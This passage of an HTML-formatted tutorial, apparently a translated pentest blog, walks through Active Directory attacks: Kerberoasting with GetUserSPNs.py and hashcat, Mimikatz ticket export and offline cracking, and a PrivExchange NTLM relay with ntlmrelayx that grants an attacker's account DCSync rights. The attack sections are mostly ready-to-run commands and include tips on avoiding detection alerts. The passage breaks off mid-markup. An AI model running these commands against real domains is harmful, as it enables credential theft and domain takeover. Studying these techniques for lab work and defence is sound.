Setup&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import the AD module first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then create the service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser -Name &amp;#34;SQLService&amp;#34; -SamAccountName &amp;#34;SQLService&amp;#34; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) -Enabled $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Register an SPN for SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A MSSQLSvc/dc.test.local:1433 SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify successful registration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="exploitation-from-a-non-domain-machine"&gt;&lt;a href="#exploitation-from-a-non-domain-machine" class="header-anchor"&gt;&lt;/a&gt;Exploitation from a Non-Domain Machine:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the acquired credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/compromised_user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If you obtained a hash, you can also authenticate with it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is what gets returned when authentication succeeds.&lt;/p&gt;&#10;&lt;p&gt;An error returns this instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="step-by-step-exploitation"&gt;&lt;a href="#step-by-step-exploitation" class="header-anchor"&gt;&lt;/a&gt;Step-by-Step Exploitation:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Enumerate SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Request tickets (the -request option)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Save tickets to a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request -output tickets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Crack the tickets with hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 tickets.txt wordlist.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="strategies-for-different-situations"&gt;&lt;a href="#strategies-for-different-situations" class="header-anchor"&gt;&lt;/a&gt;Strategies for Different Situations:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Domain user credentials available: use GetUserSPNs.py directly&lt;/li&gt;&#10;&lt;li&gt;Only an NTLM hash available: use the -hashes argument&lt;/li&gt;&#10;&lt;li&gt;A ticket is available: use the -k argument for ticket-based authentication&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="things-to-keep-in-mind"&gt;&lt;a href="#things-to-keep-in-mind" class="header-anchor"&gt;&lt;/a&gt;Things to Keep in Mind:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Scanning activity may be detected&lt;/li&gt;&#10;&lt;li&gt;A large number of ticket requests may trigger alerts&lt;/li&gt;&#10;&lt;li&gt;Keep scans targeted and avoid broad probing&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="real-world-example"&gt;&lt;a href="#real-world-example" class="header-anchor"&gt;&lt;/a&gt;Real-World Example:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, find the SQL service SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output may show:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQLSvc/DBSERVER.domain.com:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Obtain a ticket for this service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="2-cracking-domain-service-accounts"&gt;&lt;a href="#2-cracking-domain-service-accounts" class="header-anchor"&gt;&lt;/a&gt;2. Cracking Domain Service Accounts&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/nidem/kerberoast" target="_blank" rel="noopener"&#10; &gt;https://github.com/nidem/kerberoast&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This is much like the method above; the difference is the situation where you use it.&#10;The first method requires a domain member&amp;rsquo;s username and password.&#10;The second requires access to a domain-joined host, after which it can be run on that machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -T PENTEST.com -Q */*&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For convenience, I ran it directly on the domain controller. If a domain member account also has access to this sqlserver, it will show up as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Extract the obtained tickets from Mimikatz memory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No longer supported? The approach below also works—just convert it for hashcat.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /usr/share/john/kirbi2john.py ticket.kirbi &amp;gt; hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 hash.txt word.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="3-ntlm-relay"&gt;&lt;a href="#3-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;3. NTLM Relay&#10;&lt;/h3&gt;&lt;h4 id="1-privexchange"&gt;&lt;a href="#1-privexchange" class="header-anchor"&gt;&lt;/a&gt;(1) Privexchange&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/" target="_blank" rel="noopener"&#10; &gt;https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/privexchange/" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/privexchange/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ridter/exchange2domain" target="_blank" rel="noopener"&#10; &gt;https://github.com/ridter/exchange2domain&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Exchange server &amp;mdash;-authentication request&amp;mdash;-&amp;gt; our relay server &amp;mdash;-modified and forwarded&amp;mdash;-&amp;gt; domain controller (high privilege) (modified authentication content) (LDAP service)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;In practice, we set up an NTLM relay. The Exchange server&amp;rsquo;s authentication request passes through our relay, which modifies and forwards it to grant our account DCSync rights.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● An Exchange server exists and is reachable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● A domain user account (must have a mailbox)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ○ A username and password are required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ○ Or access to a domain user account has already been obtained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Optional conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● When operating from a domain-joined host, the current user&amp;#39;s credentials can be used&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● Domain account credentials are unnecessary if a man-in-the-middle position is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Required tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- ntlmrelayx.py (Impacket toolkit)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- privexchange.py (PrivExchange tool)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Required information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Exchange server IP/hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain controller IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Credentials for a domain user with a mailbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There are two possible situations.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use known domain user credentials directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The user must have a mailbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The attack can be initiated externally or internally&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires access to the domain network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires a man-in-the-middle position&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Uses another user&amp;#39;s authentication request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Setup phase&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; User (with a mailbox) -----&amp;gt; Exchange&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Configure a notification to send to http://ATTACKER_IP&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Exchange processing phase&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Exchange ----authentication required----&amp;gt; ATTACKER_IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;I am the Exchange server and I am sending the notification&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Man-in-the-middle operation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Exchange authentication ----relay----&amp;gt; Domain controller LDAP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Relay Exchange authentication to the domain controller to modify permissions&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="setting-up-the-ntlm-relay"&gt;&lt;a href="#setting-up-the-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;Setting Up the NTLM Relay:&#10;&lt;/h5&gt;&lt;p&gt;This package is included with impacket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://dc-ip --escalate-user ATTACKER_USER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;This step sets up the &amp;ldquo;man in the middle&amp;rdquo;&lt;/li&gt;&#10;&lt;li&gt;It gets ready to receive Exchange authentication and forward it to the DC&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="triggering-exchange-authentication"&gt;&lt;a href="#triggering-exchange-authentication" class="header-anchor"&gt;&lt;/a&gt;Triggering Exchange Authentication:&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/privexchange/" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/privexchange/&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" 